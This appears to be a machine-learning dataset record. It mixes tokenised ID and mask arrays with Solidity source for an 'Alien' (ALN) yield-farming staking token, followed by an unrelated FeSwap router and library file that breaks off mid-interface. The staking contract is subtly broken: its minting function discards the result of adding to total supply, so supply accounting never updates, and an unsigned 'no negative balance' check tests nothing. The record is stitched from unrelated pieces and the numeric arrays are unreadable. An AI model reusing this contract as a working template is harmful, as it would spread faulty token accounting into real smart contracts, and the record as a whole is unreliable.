[ 1, 225, 445, 3854, 6609, 12, 203, 565, 2677, 16874, 2502, 365, 16, 203, 565, 2254, 10525, 498, 203, 225, 262, 2713, 1476, 1135, 261, 11890, 16874, 13, 288, 203, 565, 2254, 5034, 562, 273, 365, 6315, 1893, 4139, 18, 2469, 31, 203, 565, 2254, 5034, 949, 273, 389, 5797, 5905, 6609, 12, 2890, 6315, 1893, 4139, 16, 498, 16, 374, 16, 562, 1769, 203, 565, 327, 949, 422, 374, 692, 374, 294, 389, 318, 4626, 1862, 12, 2890, 6315, 1893, 4139, 16, 949, 300, 404, 2934, 67, 1132, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.22 ; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } // ---------------------------------------------------------------------------- // Token Interface = ERC20 + symbol + name + decimals + approveAndCall // ---------------------------------------------------------------------------- contract TokenInterface is ERC20Interface { function symbol() public view returns (string memory); function name() public view returns (string memory); function decimals() public view returns (uint8); } /** * @title Farmable Token * @dev Farmable ERC20 token. Earn this token by staking another token over time. */ contract FarmableToken is TokenInterface { using SafeMath for uint; string _symbol = "ALN"; string _name = "Alien"; uint8 _decimals = 18; uint _totalSupply; uint mintingDivisor = 1000000; //balances and allowance of the farmable token mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint tokens); mapping (address => TokenVault) public stakedTokens; struct TokenVault { uint tokenAmount; uint blockTimeDeposited; } address public stakeableToken; constructor(address sToken) public { stakeableToken=sToken; } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } //Resets the block number in your vault and pays out yield based on the difference to current blocknum. //This keeps the 'amount staked' the same but brings the block number forward to the current time. function claimYields() public returns (uint256 amt){ address from = msg.sender; uint amountEarned = getYieldAvailable(from); //mint new tokens require( _mintFarmableToken(amountEarned, from) ); uint amountStaked = stakedTokens[from].tokenAmount; //update only the block number in the token vault, bring it up to the current block stakedTokens[from] = TokenVault( amountStaked , block.number ); return amountEarned; } function _mintFarmableToken(uint amount, address recipient) internal returns (bool) { balances[recipient] = balances[recipient].add(amount); _totalSupply.add(amount); emit Mint(recipient,amount); return true; } /** * @dev Users can stake their tokens, requires preApproval. Forces a claim of yield. */ function stakeTokens(uint amount) public returns (uint256 amt){ require( amount > 0 ); address from = msg.sender; uint blockNum = block.number; //forcibly claim yields here to reset the block number claimYields(); //require that there are no yields to claim, that the block number in the vault is current require( stakedTokens[from].blockTimeDeposited == blockNum ); //transfer the stakeable tokens into this contract and record that fact in the vault require( ERC20Interface(stakeableToken).transferFrom(from, address(this), amount) ) ; //record these newly staked tokens to the vault uint newAmountStaked = stakedTokens[from].tokenAmount.add(amount); stakedTokens[from] = TokenVault( newAmountStaked , blockNum ); return amount; } /** * @dev Users can unstake their tokens. Forces a claim of yield. */ function unstakeTokens(uint amount) public returns (uint amt){ require( amount > 0 ); address from = msg.sender; uint blockNum = block.number; uint amountRemainingInVault = stakedTokens[from].tokenAmount.sub(amount); //dont allow for negative vault balance require(amountRemainingInVault >= 0); //forcibly claim yields here to reset the block number claimYields(); //require that there are no yields to claim, that the block number in the vault is current require( stakedTokens[from].blockTimeDeposited == blockNum ); require( ERC20Interface(stakeableToken).transfer(from, amount) ) ; stakedTokens[from] = TokenVault( amountRemainingInVault , blockNum ); return amount; } function getStakedTokenBalance(address accountAddress) public view returns (uint amt) { return stakedTokens[accountAddress].tokenAmount; } function getYieldAvailable(address accountAddress) public view returns (uint amt) { uint originBlockNumber = stakedTokens[accountAddress].blockTimeDeposited; if( originBlockNumber == 0 ) return 0; uint blockDelta = block.number.sub(originBlockNumber); uint amountStaked = stakedTokens[accountAddress].tokenAmount; uint amountEarned = blockDelta.mul(amountStaked).div(mintingDivisor); return amountEarned; } }
* @title Farmable Token @dev Farmable ERC20 token. Earn this token by staking another token over time./balances and allowance of the farmable token
contract FarmableToken is TokenInterface { using SafeMath for uint; string _symbol = "ALN"; string _name = "Alien"; uint8 _decimals = 18; uint _totalSupply; uint mintingDivisor = 1000000; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint tokens); mapping (address => TokenVault) public stakedTokens; struct TokenVault { uint tokenAmount; uint blockTimeDeposited; } address public stakeableToken; constructor(address sToken) public { stakeableToken=sToken; } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function claimYields() public returns (uint256 amt){ address from = msg.sender; uint amountEarned = getYieldAvailable(from); require( _mintFarmableToken(amountEarned, from) ); uint amountStaked = stakedTokens[from].tokenAmount; stakedTokens[from] = TokenVault( amountStaked , block.number ); return amountEarned; } function _mintFarmableToken(uint amount, address recipient) internal returns (bool) { balances[recipient] = balances[recipient].add(amount); _totalSupply.add(amount); emit Mint(recipient,amount); return true; } function stakeTokens(uint amount) public returns (uint256 amt){ require( amount > 0 ); address from = msg.sender; uint blockNum = block.number; claimYields(); require( stakedTokens[from].blockTimeDeposited == blockNum ); require( ERC20Interface(stakeableToken).transferFrom(from, address(this), amount) ) ; uint newAmountStaked = stakedTokens[from].tokenAmount.add(amount); stakedTokens[from] = TokenVault( newAmountStaked , blockNum ); return amount; } function unstakeTokens(uint amount) public returns (uint amt){ require( amount > 0 ); address from = msg.sender; uint blockNum = block.number; uint amountRemainingInVault = stakedTokens[from].tokenAmount.sub(amount); require(amountRemainingInVault >= 0); claimYields(); require( stakedTokens[from].blockTimeDeposited == blockNum ); require( ERC20Interface(stakeableToken).transfer(from, amount) ) ; stakedTokens[from] = TokenVault( amountRemainingInVault , blockNum ); return amount; } function getStakedTokenBalance(address accountAddress) public view returns (uint amt) { return stakedTokens[accountAddress].tokenAmount; } function getYieldAvailable(address accountAddress) public view returns (uint amt) { uint originBlockNumber = stakedTokens[accountAddress].blockTimeDeposited; if( originBlockNumber == 0 ) return 0; uint blockDelta = block.number.sub(originBlockNumber); uint amountStaked = stakedTokens[accountAddress].tokenAmount; uint amountEarned = blockDelta.mul(amountStaked).div(mintingDivisor); return amountEarned; } }
5,497,541
[ 1, 42, 4610, 429, 3155, 225, 478, 4610, 429, 4232, 39, 3462, 1147, 18, 512, 1303, 333, 1147, 635, 384, 6159, 4042, 1147, 1879, 813, 18, 19, 70, 26488, 471, 1699, 1359, 434, 326, 284, 4610, 429, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 478, 4610, 429, 1345, 353, 29938, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 533, 389, 7175, 273, 315, 1013, 50, 14432, 203, 565, 533, 225, 389, 529, 273, 315, 37, 549, 275, 14432, 203, 565, 2254, 28, 389, 31734, 273, 6549, 31, 203, 565, 2254, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2254, 312, 474, 310, 7244, 12385, 273, 15088, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 565, 871, 490, 474, 12, 2867, 8808, 358, 16, 2254, 2430, 1769, 203, 203, 203, 565, 2874, 261, 2867, 516, 3155, 12003, 13, 1071, 384, 9477, 5157, 31, 203, 203, 565, 1958, 3155, 12003, 288, 203, 3639, 2254, 1147, 6275, 31, 203, 3639, 2254, 1203, 950, 758, 1724, 329, 31, 203, 565, 289, 203, 203, 565, 1758, 1071, 384, 911, 429, 1345, 31, 203, 203, 565, 3885, 12, 2867, 272, 1345, 13, 1071, 203, 565, 288, 203, 3639, 384, 911, 429, 1345, 33, 87, 1345, 31, 203, 565, 289, 203, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 2 ]
// SPDX-License-Identifier: MIT pragma solidity =0.6.12; pragma experimental ABIEncoderV2; // import './interfaces/IFeSwapFactory.sol'; pragma solidity =0.6.12; interface IFeSwapFactory { event PairCreated(address indexed tokenA, address indexed tokenB, address pairAAB, address pairABB, uint); function feeTo() external view returns (address); function getFeeInfo() external view returns (address, uint256); function factoryAdmin() external view returns (address); function routerFeSwap() external view returns (address); function rateTriggerFactory() external view returns (uint64); function rateCapArbitrage() external view returns (uint64); function rateProfitShare() external view returns (uint64); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createUpdatePair(address tokenA, address tokenB, address pairOwner, uint256 rateTrigger) external returns (address pairAAB,address pairABB); function setFeeTo(address) external; function setFactoryAdmin(address) external; function setRouterFeSwap(address) external; function configFactory(uint64, uint64, uint64) external; function managePair(address, address, address, address) external; } // import './libraries/TransferHelper.sol'; pragma solidity =0.6.12; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // import './interfaces/IFeSwapRouter.sol'; pragma solidity =0.6.12; interface IFeSwapRouter { struct AddLiquidityParams { address tokenA; address tokenB; uint amountADesired; uint amountBDesired; uint amountAMin; uint amountBMin; uint ratio; } struct AddLiquidityETHParams { address token; uint amountTokenDesired; uint amountTokenMin; uint amountETHMin; uint ratio; } struct RemoveLiquidityParams { address tokenA; address tokenB; uint liquidityAAB; uint liquidityABB; uint amountAMin; uint amountBMin; } struct Signature { uint8 v; bytes32 r; bytes32 s; } function factory() external pure returns (address); function feswaNFT() external pure returns (address); function WETH() external pure returns (address); function ManageFeswaPair( uint256 tokenID, address pairOwner, uint256 rateTrigger ) external returns (address pairAAB, address pairABB); function addLiquidity( AddLiquidityParams calldata addParams, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidityAAB, uint liquidityABB); function addLiquidityETH( AddLiquidityETHParams calldata addParams, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidityTTE, uint liquidityTEE); function removeLiquidity( RemoveLiquidityParams calldata removeParams, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( RemoveLiquidityParams calldata removeParams, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( RemoveLiquidityParams calldata removeParams, address to, uint deadline, bool approveMax, Signature calldata sigAAB, Signature calldata sigABB ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( RemoveLiquidityParams calldata removeParams, address to, uint deadline, bool approveMax, Signature calldata sigTTE, Signature calldata sigTEE ) external returns (uint amountToken, uint amountETH); function removeLiquidityETHFeeOnTransfer( RemoveLiquidityParams calldata removeParams, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitFeeOnTransfer( RemoveLiquidityParams calldata removeParams, address to, uint deadline, bool approveMax, Signature calldata sigTTE, Signature calldata sigTEE ) external returns (uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapExactTokensForTokensFeeOnTransfer( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensFeeOnTransfer( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHFeeOnTransfer( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function estimateAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function estimateAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // import './libraries/FeSwapLibrary.sol'; pragma solidity =0.6.12; // import '../interfaces/IFeSwapPair.sol'; pragma solidity =0.6.12; // import './IFeSwapERC20.sol'; pragma solidity =0.6.12; interface IFeSwapERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IFeSwapPair is IFeSwapERC20 { event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function pairOwner() external view returns (address); function tokenIn() external view returns (address); function tokenOut() external view returns (address); function getReserves() external view returns ( uint112 _reserveIn, uint112 _reserveOut, uint32 _blockTimestampLast, uint _rateTriggerArbitrage); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function rateTriggerArbitrage() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amountOut, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address, address, address, uint) external; function setOwner(address _pairOwner) external; function adjusArbitragetRate(uint newRate) external; } // import '../interfaces/IFeSwapFactory.sol'; // import './TransferHelper.sol'; // import "./SafeMath.sol"; pragma solidity =0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } pragma solidity =0.6.12; // import '../interfaces/IFeSwapPair.sol'; // import '../interfaces/IFeSwapFactory.sol'; // import './TransferHelper.sol'; // import "./SafeMath.sol"; library FeSwapLibrary { using SafeMath for uint; // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(tokenA, tokenB)), hex'5ff2250d3f849930264d443f14a482794b12bd40ac16b457def9522f050665da' // init code hash // save 9916 gas )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB, address pair, uint rateTriggerArbitrage) { pair = pairFor(factory, tokenA, tokenB); (reserveA, reserveB, , rateTriggerArbitrage) = IFeSwapPair(pair).getReserves(); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'FeSwapLibrary: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'FeSwapLibrary: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'FeSwapLibrary: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'FeSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint numerator = amountIn.mul(reserveOut); uint denominator = reserveIn.add(amountIn); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'FeSwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'FeSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut); uint denominator = reserveOut.sub(amountOut); amountIn = (numerator.add(denominator)) / denominator; } function arbitragePairPools(address factory, address tokenA, address tokenB) internal returns (uint reserveIn, uint reserveOut, address pair) { (reserveIn, reserveOut, pair, ) = getReserves(factory, tokenA, tokenB); (uint reserveInMate, uint reserveOutMate, address PairMate, uint rateTriggerArbitrage) = getReserves(factory, tokenB, tokenA); uint productIn = uint(reserveIn).mul(reserveInMate); uint productOut = uint(reserveOut).mul(reserveOutMate); if(productIn.mul(10000) > productOut.mul(rateTriggerArbitrage)){ productIn = productIn.sub(productOut); // productIn are re-used uint totalTokenA = (uint(reserveIn).add(reserveOutMate)).mul(2); uint totalTokenB = (uint(reserveOut).add(reserveInMate)).mul(2); TransferHelper.safeTransferFrom(tokenA, pair, PairMate, productIn / totalTokenB); TransferHelper.safeTransferFrom(tokenB, PairMate, pair, productIn / totalTokenA); IFeSwapPair(pair).sync(); IFeSwapPair(PairMate).sync(); (reserveIn, reserveOut, ,) = getReserves(factory, tokenA, tokenB); } } function culculatePairPools(address factory, address tokenA, address tokenB) internal view returns (uint reserveIn, uint reserveOut, address pair) { (reserveIn, reserveOut, pair, ) = getReserves(factory, tokenA, tokenB); (uint reserveInMate, uint reserveOutMate, , uint rateTriggerArbitrage) = getReserves(factory, tokenB, tokenA); uint productIn = uint(reserveIn).mul(reserveInMate); uint productOut = uint(reserveOut).mul(reserveOutMate); if(productIn.mul(10000) > productOut.mul(rateTriggerArbitrage)){ productIn = productIn.sub(productOut); uint totalTokenA = (uint(reserveIn).add(reserveOutMate)).mul(2); uint totalTokenB = (uint(reserveOut).add(reserveInMate)).mul(2); reserveIn = reserveIn.sub(productIn / totalTokenB); reserveOut = reserveOut.add(productIn / totalTokenA); } } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] calldata path) internal returns (address firstPair, uint[] memory amounts) { require(path.length >= 2, 'FeSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i = 0; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut, address _firstPair) = arbitragePairPools(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); if ( i == 0 ) firstPair = _firstPair; } } // performs aritrage beforehand function executeArbitrage(address factory, address[] calldata path) internal { require(path.length >= 2, 'FeSwapLibrary: INVALID_PATH'); for (uint i = 0; i < path.length - 1; i++) { arbitragePairPools(factory, path[i], path[i + 1]); } } // performs chained estimateAmountsOut calculations on any number of pairs function estimateAmountsOut(address factory, uint amountIn, address[] calldata path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'FeSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i = 0; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut, ) = culculatePairPools(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] calldata path) internal returns (address firstPair, uint[] memory amounts) { require(path.length >= 2, 'FeSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; uint reserveIn; uint reserveOut; for (uint i = path.length - 1; i > 0; i--) { (reserveIn, reserveOut, firstPair) = arbitragePairPools(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } function estimateAmountsIn(address factory, uint amountOut, address[] calldata path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'FeSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut, ) = culculatePairPools(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // import './libraries/SafeMath.sol'; // import './interfaces/IERC20.sol'; pragma solidity =0.6.12; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function 